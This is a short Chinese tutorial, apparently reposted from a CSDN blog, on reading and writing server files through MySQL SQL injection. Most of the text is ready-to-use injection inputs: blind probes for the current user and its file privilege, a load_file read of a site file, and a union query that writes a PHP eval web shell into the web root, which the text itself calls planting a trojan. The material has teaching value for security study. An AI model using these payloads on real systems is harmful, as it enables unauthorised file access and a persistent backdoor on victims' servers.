SQL注入读写文件

SQL注入读写文件的根本条件:

1. 数据库允许导入导出(secure_file_priv)

2. 当前用户用户文件操作权限(File_priv)

(select 1,2,%40%40global.secure_file_priv%23) %40为@

load_file()读文件 into outfile / into dumpfile写文件 条件:

1.对web目录具有读写权限

2. 知道文件绝对路径

3. 能够使用联合查询(sql注入时)

命令: select load_file('d:/phpstudy/www/anyun.php');

select 'anyun' into outfile 'd:/phpstudy/www/anyun.php';

(例)盲注:
查询当前用户:
id输入:1')) and length(current_user())>10%23
id输入:1')) and length(current_user())=14%23  正确
id输入:1')) and substr(current_user(),1) = 'root%40localhost'%23

查询当前用户是否有文件读写权限:
id输入:1')) and (select File_priv from mysql.user where user='root' and host='localhost')='Y'%23


id输入:1')) order by 3%23  正确
id输入:1')) union select 1,2,'<?php @eval($_POST[a]);?>' into outfile 'c:/phpStudy/WWW/abc.php'%23 植入木马

猜你喜欢

转载自blog.csdn.net/WYJ____/article/details/81234382